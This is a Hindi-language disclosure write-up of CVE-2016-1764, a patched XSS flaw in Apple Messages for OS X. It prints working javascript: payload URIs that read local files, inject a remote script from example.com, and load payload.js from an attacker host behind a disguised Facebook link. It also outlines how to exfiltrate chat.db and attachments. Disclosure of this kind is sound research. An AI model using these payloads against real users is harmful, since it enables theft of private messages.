moloch--/cve-2016-1764XSS के माध्यम से iMessage डेटा का निष्कर्षण
विक्रेता: Apple
रिलीज़ दिनांक: 8 अप्रैल, 2016
पैच दिनांक: 21 मार्च, 2016
प्रभावित सिस्टम: OSX Mountain Yosemite, El Capitan पर Messages
हालाँकि Apple के आसपास की अधिकांश हालिया बहस क्रिप्टोग्राफी पर केंद्रित रही है, लेकिन उद्योग और कानून प्रवर्तन यह भूल गए लगते हैं कि सरल, एप्लिकेशन-स्तरीय कमजोरियों का उपयोग करके एन्क्रिप्शन को पूरी तरह से दरकिनार किया जा सकता है। CVE-2016-1764, जिसे Apple ने मार्च 2016 में ठीक किया था, एक एप्लिकेशन-लेयर बग है जो OS X iMessage क्लाइंट का शोषण करके सभी संदेश सामग्री और अनुलग्नकों को प्लेनटेक्स्ट में दूरस्थ रूप से प्रकट करने का कारण बनता है। इसके अलावा, इसका शोषण करने के लिए आपको गणित में स्नातक डिग्री की आवश्यकता नहीं है, न ही इसमें मेमोरी प्रबंधन, शेलकोड, या जटिल ASLR बायपास ROP श्रृंखलाओं का विस्तृत ज्ञान आवश्यक है। वास्तव में, यह एक अपेक्षाकृत सरल बग है जिसका शोषण कोई भी JavaScript के बुनियादी ज्ञान के साथ कर सकता है।
Apple का OS X के लिए Messages (iMessage), अपने उपयोगकर्ता इंटरफ़ेस को WebKit के एक एम्बेडेड संस्करण का उपयोग करके कार्यान्वित करता है, इसके अलावा OS X पर Messages किसी भी URI को क्लिक करने योग्य HTML <a href= लिंक के रूप में प्रस्तुत करेगा। एक हमलावर एक सरल JavaScript URI (जैसे, javascript:) बना सकता है जिसे क्लिक करने पर हमलावर को एप्लिकेशन DOM के संदर्भ में प्रारंभिक JavaScript निष्पादन (XSS) प्राप्त होता है। हालाँकि OS X के लिए Messages द्वारा उपयोग की जाने वाली एम्बेडेड WebKit लाइब्रेरी applewebdata:// ओरिजिन में निष्पादित होती है, फिर भी एक हमलावर XMLHttpRequest (XHR) GET अनुरोधों का उपयोग करके file:// URI पर मनमानी फ़ाइलें पढ़ सकता है क्योंकि कोई समान-मूल नीति (SOP) लागू नहीं है। फ़ाइलों को पढ़ने के लिए XHR का दुरुपयोग करके एक हमलावर पीड़ित के पूरे चैट इतिहास और अनुलग्नकों को एक दूरस्थ सर्वर पर अपलोड कर सकता है, जितनी तेज़ी से पीड़ित का इंटरनेट कनेक्शन अनुमति देगा; आवश्यक एकमात्र उपयोगकर्ता इंटरैक्शन चैट में एक एकल लिंक पर क्लिक करना है। इसके अलावा, यदि SMS अग्रेषण सक्षम है तो हमलावर पीड़ित के iPhone पर भेजे/प्राप्त संदेशों को भी पुनर्प्राप्त कर सकता है।
यदि आप सभी गंभीर विवरण जानना चाहते हैं, तो आगे पढ़ें।
OS X के लिए Messages अपने अधिकांश उपयोगकर्ता इंटरफ़ेस के लिए WebKit के एम्बेडेड संस्करण का उपयोग करता है। जब एप्लिकेशन द्वारा संदेश भेजे या प्राप्त किए जाते हैं, तो UI और किसी भी भेजे गए अनुलग्नक/मीडिया सामग्री को प्रस्तुत करने के लिए DOM में HTML डाला जाता है। एप्लिकेशन के माध्यम से भेजे गए सभी संदेश DOM में प्रस्तुत किए जाते हैं और इसलिए सामान्य क्लाइंट-साइड वेब कमजोरियां एप्लिकेशन को प्रभावित कर सकती हैं।
OS X के लिए Messages क्लाइंट का परीक्षण करते समय, यह पाया गया कि मनमानी प्रोटोकॉल योजनाएं स्वचालित रूप से लिंक में परिवर्तित हो जाती हैं और DOM में डाली जाती हैं। उदाहरण के लिए, नीचे दिए गए URI सभी संदेश भेजे जाने पर WebView में लिंक के रूप में डाले जाते हैं:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
चूंकि OS X के लिए Messages स्वीकृत प्रोटोकॉल की श्वेतसूची को लागू नहीं करता है, एक हमलावर पीड़ित को एक संदेश भेज सकता है जिसमें एक JavaScript URI javascript: होता है, जो पीड़ित की मशीन पर क्लिक करने योग्य लिंक में परिवर्तित हो जाएगा।
एक बार क्लिक करने पर, एम्बेडेड WebKit वर्तमान ओरिजिन में हमलावर-नियंत्रित JavaScript को ईमानदारी से निष्पादित करेगा, उदाहरण के लिए:
ध्यान दें कि %0a (अर्थात \n) का उपयोग JavaScript टिप्पणी // से बचने के लिए किया जाता है, जो पार्सर के लिंकिंग पैटर्न से मेल खाने के लिए आवश्यक है। एक बार कोड की व्याख्या हो जाने पर यह इस प्रकार दिखता है:
//bishopfox.com/research?
prompt(1)
इस लिंक पर क्लिक करने पर, OS X के लिए Messages के भीतर एक JavaScript प्रॉम्प्ट ट्रिगर होता है:
हालाँकि, OS X के लिए Messages एक डेस्कटॉप एप्लिकेशन है, वेबसाइट नहीं। इसलिए JavaScript को applewebdata:// ओरिजिन के संदर्भ में निष्पादित किया जाता है:
हालाँकि, हमलावर का कोड एक पूर्ण WebKit कार्यान्वयन में निष्पादित हो रहा है, और इसलिए XMLHttpRequest रनटाइम पर उपलब्ध है। WebKit के एम्बेडेड संस्करण और Chrome या Safari जैसे वेब ब्राउज़र के बीच मुख्य अंतरों में से एक यह है कि एम्बेडेड संस्करण कोई समान-मूल नीति (SOP) लागू नहीं करता है, क्योंकि यह एक मूल डेस्कटॉप एप्लिकेशन है। एक हमलावर इसका लाभ उठाकर file:// URI पर XMLHttpRequest GET भेजकर समान-मूल नीति का उल्लंघन किए बिना स्थानीय फ़ाइल सिस्टम से फ़ाइलें पढ़ सकता है। एकमात्र आवश्यकता यह है कि हमलावर को पूर्ण फ़ाइल पथ पता होना चाहिए, सापेक्ष फ़ाइल सिस्टम पथ (जैसे ~/.ssh/id_rsa) का उपयोग नहीं किया जा सकता है।
उदाहरण के लिए, निम्नलिखित JavaScript को Messages एप्लिकेशन DOM द्वारा /etc/passwd फ़ाइल पढ़ने के लिए निष्पादित किया जा सकता है:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
URI पेलोड में परिवर्तित होने पर कोड इस प्रकार दिखाई देता है:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
जब Messages एप्लिकेशन में क्लिक किया जाता है, तो निम्नलिखित प्रॉम्प्ट प्रकट होता है:
चूंकि उपरोक्त वेक्टर काफी लंबा है और अत्यधिक संदिग्ध दिखता है, इसलिए किसी डोमेन से JavaScript को गतिशील रूप से लोड करके और इसे DOM में शामिल करके URI को छोटा करना संभव है। उदाहरण के लिए, नीचे दिया गया वेक्टर http://example.com/1.js से JavaScript को Message के DOM में इंजेक्ट करता है:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
उपरोक्त वेक्टर में संदर्भित JavaScript फ़ाइल //example.com/1.js में मनमानी लंबाई के मनमाने JavaScript निर्देश हो सकते हैं।
हालाँकि, OS X एप्लिकेशन सैंडबॉक्स ने फ़ाइल सिस्टम एक्सेस को केवल ~/Library/Messages/* और कुछ अन्य गैर-उपयोगकर्ता सिस्टम निर्देशिकाओं जैसे /etc/ तक प्रतिबंधित कर दिया था।
जब OS X पर Messages द्वारा संदेश और अनुलग्नक प्राप्त होते हैं तो वे निम्नलिखित निर्देशिका में सहेजे जाते हैं:
/Users/<username>/Library/Messages/*
इन संदेशों की पाठ्य सामग्री और अन्य मेटाडेटा एक SQLite डेटाबेस में संग्रहीत होते हैं जो यहाँ स्थित है:
/Users/<username>/Library/Messages/chat.db
यह डेटाबेस उपयोगकर्ता की मशीन पर स्थित सभी अनुलग्नकों के स्थान भी शामिल करता है।
इस डेटाबेस और उसके बाद पीड़ित द्वारा कभी भी प्राप्त या भेजे गए सभी अनुलग्नकों को चुराने के लिए, एक अधिक उन्नत हमला पेलोड की आवश्यकता है।
डेटा को एक हमलावर द्वारा सफलतापूर्वक निकालने से पहले निम्नलिखित चरणों को पूरा करने की आवश्यकता है:
~ का उपयोग नहीं किया जा सकता)chat.db फ़ाइल के लिए एक पूर्ण पथ उत्पन्न करें जैसे /Users/ExampleUser/Library/Messages/chat.dbchat.db डेटाबेस को पढ़ने और अनुलग्नकों के फ़ाइल पथों के लिए इसकी क्वेरी करने के लिए XMLHttpRequest का उपयोग करेंXMLHttpRequest या यदि आप रीयल-टाइम एक्सेस चाहते हैं तो WebSockets का उपयोग करें।हम /Library/Preferences/com.apple.loginwindow.plist का अनुरोध करके और फिर उसे पार्स करके वर्तमान में लॉग इन उपयोगकर्ता का निर्धारण कर सकते हैं, यह फ़ाइल OS X एप्लिकेशन सैंडबॉक्स के भीतर से आसानी से पढ़ने योग्य है। यहाँ से उपयोगकर्ता के chat.db के पूर्ण पथ का निर्माण करना तुच्छ है।
एक बार डेटाबेस फ़ाइल सफलतापूर्वक निकाल ली जाने पर, इसे एक कस्टम सर्वर-साइड स्क्रिप्ट में पास किया जा सकता है जो डेटाबेस में attachments तालिका में पाए जाने वाले पीड़ित द्वारा भेजे और प्राप्त अनुलग्नकों के पूर्ण पथ निकालता है।
ये पूर्ण पथ दुर्भावनापूर्ण JavaScript पेलोड द्वारा पुनर्प्राप्त किए जाते हैं और फिर XMLHttpRequest के माध्यम से पीड़ित की मशीन से अनुलग्नक फ़ाइलों को निकालने के लिए उपयोग किए जाते हैं।
इसके बाद हमलावर URL को थोड़ा अधिक विश्वसनीय बनाने के लिए थोड़ा अस्पष्टीकरण करता है:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
यदि पीड़ित OS X के लिए Messages एप्लिकेशन में उपरोक्त URI पर क्लिक करता है, तो पीड़ित का संपूर्ण चैट इतिहास और सभी संबंधित अनुलग्नक हमलावर को भेज दिए जाएंगे।
JavaScript हर जगह है
वेब एप्लिकेशन सुरक्षा दोष अब केवल ब्राउज़र तक सीमित नहीं हैं बल्कि मूल एप्लिकेशन में भी अपना रास्ता खोज चुके हैं। जबकि डेवलपर्स के लिए डेस्कटॉप एप्लिकेशन बनाने के लिए WebKit, या इसके अधिक खतरनाक रिश्तेदार nw.js जैसी वेब तकनीकों का उपयोग करना उत्पादक हो सकता है, फिर भी वेब एप्लिकेशन सुरक्षा की सर्वोत्तम प्रथाओं का पालन किया जाना चाहिए।